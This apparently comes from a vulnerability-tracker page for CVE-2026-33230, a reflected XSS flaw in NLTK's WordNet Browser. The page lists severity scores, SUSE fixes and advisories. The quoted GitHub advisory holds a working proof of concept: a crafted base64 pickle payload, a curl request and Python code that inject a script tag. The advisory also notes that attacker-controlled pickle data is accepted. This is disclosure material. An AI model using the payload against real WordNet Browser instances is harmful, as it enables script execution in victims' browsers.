CVE-2026-33230

mediumpriority · track · 0EPSS 0.003 · 27 %ileDEEUFRUS
grimoire priorityP3 · Track
Exploitable?
—
no known exploitation
Likely / severe?
0.34% (27th) EPSS
CVSS 6.1 · medium
Is it mine?
6 products
Check your exposure
Who says so?
7 sources
cnnvd · enisa_euvd · osv · cert_bund

EPSS · scored 2026-10-27

NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, `nltk.app.wordnet_app` contains a reflected cross-site scripting issue in the `lookup_...` route. A crafted `lookup_<payload>` URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled `word` data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application. Commit 1c3f799607eeb088cab2491dcf806ae83c29ad8f fixes the issue.

01

remediations

Vendor fix, mitigation, or workaround guidance, as published by each source.

A vendor fix is available.

  • Fixedpython311-nltk-0:3.9.4-1.1.aarch64 as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • Fixedpython311-nltk-0:3.9.4-1.1.ppc64le as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • Fixedpython311-nltk-0:3.9.4-1.1.s390x as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • Fixedpython311-nltk-0:3.9.4-1.1.x86_64 as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • Fixedpython313-nltk-0:3.9.4-1.1.aarch64 as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • Fixedpython313-nltk-0:3.9.4-1.1.ppc64le as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • Fixedpython313-nltk-0:3.9.4-1.1.s390x as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • Fixedpython313-nltk-0:3.9.4-1.1.x86_64 as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

02

cvss

Technical severity, 0–10. One row per scoring source.

6.1
010

base score 0–10 · higher = more severe · hover a vector to decode

v3.16.1mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:Nsecondary · ENISA EU
v3.16.1mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:Nsecondary · security-advisories@github.comexploitability 2.8 · impact 2.7
v3.16.1mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:Nsecondary · OSV
v3.15.6mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:Usecondary · CVSS-BT (t0sche)
03

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: no · Technical Impact: partialcoordinatorcisa_ssvcUS
04

weaknesses

The CWE weakness classes this flaw belongs to.

05

affected products (6)

Products and version ranges known to be affected.

06

advisories (5)

Vendor and ecosystem advisories describing this.

  • WID-SEC-W-2026-0895IBM App Connect Enterprise: Mehrere SchwachstellenDeutsch2026-03-26csaf · cert_bundDE

    Ein Angreifer kann mehrere Schwachstellen in IBM App Connect Enterprise ausnutzen, um Dateien zu manipulieren, um einen Denial of Service Angriff durchzuführen, um beliebigen Programmcode auszuführen, und um einen Cross-Site Scripting Angriff durchzuführen.

  • openSUSE-SU-2026:10461-1python311-nltk-3.9.4-1.1 on GA media2026-03-29csaf · suse_csafDE

    python311-nltk-3.9.4-1.1 on GA media

  • GHSA-gfwx-w7gr-fvh7Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in nltk2026-03-18ghsa · osvUS

    ### Summary `nltk.app.wordnet_app` contains a reflected cross-site scripting issue in the `lookup_...` route. A crafted `lookup_<payload>` URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled `word` data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application. ### Details The vulnerable flow is in `nltk/app/wordnet_app.py`: - [`nltk/app/wordnet_app.py:144`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L144) - Requests starting with `lookup_` are handled as HTML responses: - `page, word = page_from_href(sp)` - [`nltk/app/wordnet_app.py:755`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L755) - `page_from_href()` calls `page_from_reference(Reference.decode(href))` - [`nltk/app/wordnet_app.py:769`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L769) - `word = href.word` - [`nltk/app/wordnet_app.py:796`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L796) - If no results are found, `word` is inserted directly into the HTML body: - `body = "The word or words '%s' were not found in the dictionary." % word` This is inconsistent with the `search` route, which does escape user input: - [`nltk/app/wordnet_app.py:136`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L136) - `word = html.escape(...)` As a result, a malicious `lookup_...` payload can inject script into the response page. The issue is exploitable because: - `Reference.decode()` accepts attacker-controlled base64-encoded pickle data for the URL state. - The decoded `word` is reflected into HTML without `html.escape()`. - The server is started with `HTTPServer(("", port), MyServerHandler)`, so it listens on all interfaces by default, not just `localhost`. ### PoC 1. Start the WordNet Browser in an isolated Docker environment: ```bash docker run -d --name nltk-wordnet-web -p 8002:8002 \ nltk-sandbox \ python -c "import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8002, False)" ``` 2. Use the following crafted payload, which decodes to: ```python ("<script>alert(1)</script>", {}) ``` Encoded payload: ```text gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4= ``` 3. Request the vulnerable route: ```bash curl -s "http://127.0.0.1:8002/lookup_gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4=" ``` 4. Observed result: ```text The word or words '<script>alert(1)</script>' were not found in the dictionary. ``` <img width="867" height="208" alt="127" src="https://github.com/user-attachments/assets/ec09da08-09bc-4fc4-bfc1-c4489e9adaf6" /> I also validated the issue directly at function level in Docker: ```python import base64 import pickle from nltk.app.wordnet_app import page_from_href payload = base64.urlsafe_b64encode( pickle.dumps(("<script>alert(1)</script>", {}), -1) ).decode() page, word = page_from_href(payload) print(word) print("<script>alert(1)</script>" in page) ``` Observed output: ```text WORD= <script>alert(1)</script> HAS_SCRIPT= True ``` ### Impact This is a reflected XSS issue in the NLTK WordNet Browser web UI. An attacker who can convince a user to open a crafted `lookup_...` URL can execute arbitrary JavaScript in the origin of the local WordNet Browser application. This can be used to: - run arbitrary script in the browser tab - manipulate the page content shown to the user - issue same-origin requests to other WordNet Browser routes - potentially trigger available UI actions in that local app context This primarily impacts users who run `nltk.app.wordnet_app` as a local or self-hosted HTTP service and open attacker-controlled links.

  • CERTFR-2026-AVI-1378Multiples vulnérabilités dans les produits IBMFrançais2026-10-23vendor · certfrFR
  • PYSEC-2026-22352026-03-20vendor · osvUS

    NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, `nltk.app.wordnet_app` contains a reflected cross-site scripting issue in the `lookup_...` route. A crafted `lookup_<payload>` URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled `word` data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application. Commit 1c3f799607eeb088cab2491dcf806ae83c29ad8f fixes the issue.

07

also known as (6)

Other names and identifiers for this entity.

08

sources

Which sources assert this record, and when.

09

references (11)

External citations — patches, advisories, analysis.

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